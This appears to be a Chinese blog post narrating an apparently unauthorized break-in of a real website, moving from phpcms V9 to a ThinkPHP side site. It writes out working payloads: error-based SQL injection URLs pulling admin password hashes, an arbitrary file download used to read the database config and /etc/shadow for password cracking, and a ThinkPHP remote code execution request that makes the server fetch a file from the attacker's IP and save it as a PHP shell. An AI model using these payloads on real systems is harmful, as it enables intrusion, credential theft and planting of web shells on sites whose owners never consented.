记一次期待已久的渗透 从phpcms到thinkphp

0X01 前言 

这是刚刚开始学习渗透的一个目标吧 这个站从刚开始学的那一天起,就想把他日下来。

可能是自己的信息收集能力太差了吧,导致一直无从下手 没有进展。这是需要慢慢积累的过程。还需努力学习。

0X02小白渗透

在刚刚开始的时候,一顿乱扫 什么子域名 C段 旁站 端口 ip 服务 目录 指纹 waf都照着网上的方法做,但是你不知道你扫这些干嘛,扫下来又有什么意义呐?

这是我对这些的理解 如有不足希望多多交流

1旁站 
旁站就是同一ip上面的不同的站 比如iis 下面有两个www.xxx.xom和www.xxx2.com
这就互称为旁站 你拿下其中任意一个另外一个就是你的了 但是如果开了其他服务 那么就不能再80端口占用
2C段
假如你的ip是192.168.1.1那么192.168.1.1-254都属这个段内 这就是C段 ,一般很难入侵,思路有内网下面的各种未授权访问入侵
3端口 
看对应端口开放了那些服务 找漏洞 
4指纹系统
快速准确的识别网站语言,cms等等 不用你去尝试 浪费时间
5waf识别 
sqlmap的参数
python2 sqlmap.py -u "https://www.example.com" --identify-waf --batch
或者用Wafw00f 这个工具
6目录
敏感目录

从刚开始学习渗透的时候思路  找注入点 注入登陆后台拿shell  当时也只会找id=1这些位置的地方的参数然后扔到sqlmap里面一顿乱扫

当然 这个站是不可能有id=1这些这么粗俗的注入点的

然后 就......找不到   然后robots里面看见了很多东西 但是也只看见一个admin.php 然后什么思路都没有  就这样 就放着放着 心想慢慢学吧 总会拿下的。

0X03开始有点入门了

指纹 知道了phpcms     Google 搜索一波phpcmsV9 getshell

有一个前台直接getshell???

http://ximcx.cn/post-126.html 这里西门老师讲的很清楚 

但是我们的站不开放注册功能 没有前台用户 甚至这可能是一个自己改版的phpcms

那么前台直接getshell无果后  还有一个注入

第一步 得到用户认证cookie

/index.php?m=wap&c=index&a=init&siteid=1

第二步

userid_flash=686dzK2pLsN_cv_pbJlCjvsm-ex_mCiOG90mXzt4 传给userid_flash
并且构造你的sql语句
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27+and+updatexml(1%2cconcat(1%2c((select+password+from+v9_admin+limit+0%2c1)))%2c1)%23%26m%3d1%26f%3dhaha%26modelid%3d2%26catid%3d7%26

 这里要编码 然后得到返回穿参给第三步

第三步

/index.php?m=content&c=down&a_k= 

发包 updataxml报错注入

进行这个站点的测试两天了 
框架PHPCMS V9
1思路 注入点是root 写shell 知道路径 可以用union联合写  但是 遇到问题说 
 1、限制mysqld 不允许导入 | 导出
        --secure_file_prive=null
2思路二 堆叠注入 在admin表里面加入我自己的用户 但是堆叠注入不可用
3 8080开放WDCP弱密码爆破无果 爆破了一波目录 没有什么可用的价值
4利用注入点 读取wdcp账户密码 但是 phpcmsv9这里用的是updataxml报错注入 
SELECT * FROM `网站的v9数据库名`.`cd_download_data` WHERE `id` = '' and updatexml(1,concat(1,((select passwd from wd_member where table_schema=wdcpdb limit 0,1))),1)#' LIMIT 1
MySQL Error : Table '网站的v9数据库名.wd_member' doesn't exist 
这里报错只能在网站库里面查询 我思路少 求指教 也无果
5希望师傅们多多交流 ,小白我太难了

这是我当时在T00ls的求助 这里面都是我所遇到的问题 所以从注入点上手也得放弃

思路三 phpcmsV9.2任意文件下载 虽然没开外连 但是心想 我把他数据库密码 和ssh密码读取出来 xshell直连 或者拿这些密码去碰撞一下后台的密码也是行的啊

这里遇到问题了  由于服务器是kali不是windows 但是这个cms过滤了php的文件下载 我们构造文件名需要让liuxn解析成php这里我的构造方法

phpcms过滤*和/\ 我们再本机上面测试 1.php空格 1.php*都可以被当成我们的1.php解析 但是这里我构造1.php*不知道为什么不行 试了好久1.php空格才行的

 

http://www.ccc.com/index.php?m=attachment&c=attachments&a=swfupload_json&src=a%26i=1%26m=1%26catid=1%26f=.%2*fcaches%2*fconfigs%2*fdatabase.php%2*520%2526modelid%3d1%2526d%3d1%26aid%3d1
index.php?m=content&c=down&a=init&a_k=

 

 第一个下载的文件 当然是数据库配置文件 查看密码 然后弱口令撞密码

第二个读取的是/etc/shadow/然后hash跑密码 但是无奈 跑出来了 但是22端口不对外开放 。。。

看网上说auth_key好像有点用 于是尝试行的读取一下  结果就是这个尝试  转变就到来了 读出了一个旁站!!!!!!!!!!!!!!!!!!!

 

都懂了吧 这个用其他旁站扫描工具扫描的时候 没扫出来

 

 

 

 然后TK远程代码执行  这里也是试了很久 ban了很多函数 只能执行phpinfo最后直接用简单粗暴的方法

http://xxxx/?s=captcha&Fuck=copy("http://你的ip/50.txt","test.php")
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=Fuck

最后 终于 终于

 

 

 

学习之路 少就是多 慢就是快

 

posted @ 2019-07-17 14:57  yourse1f  阅读(1314)  评论(1编辑  收藏  举报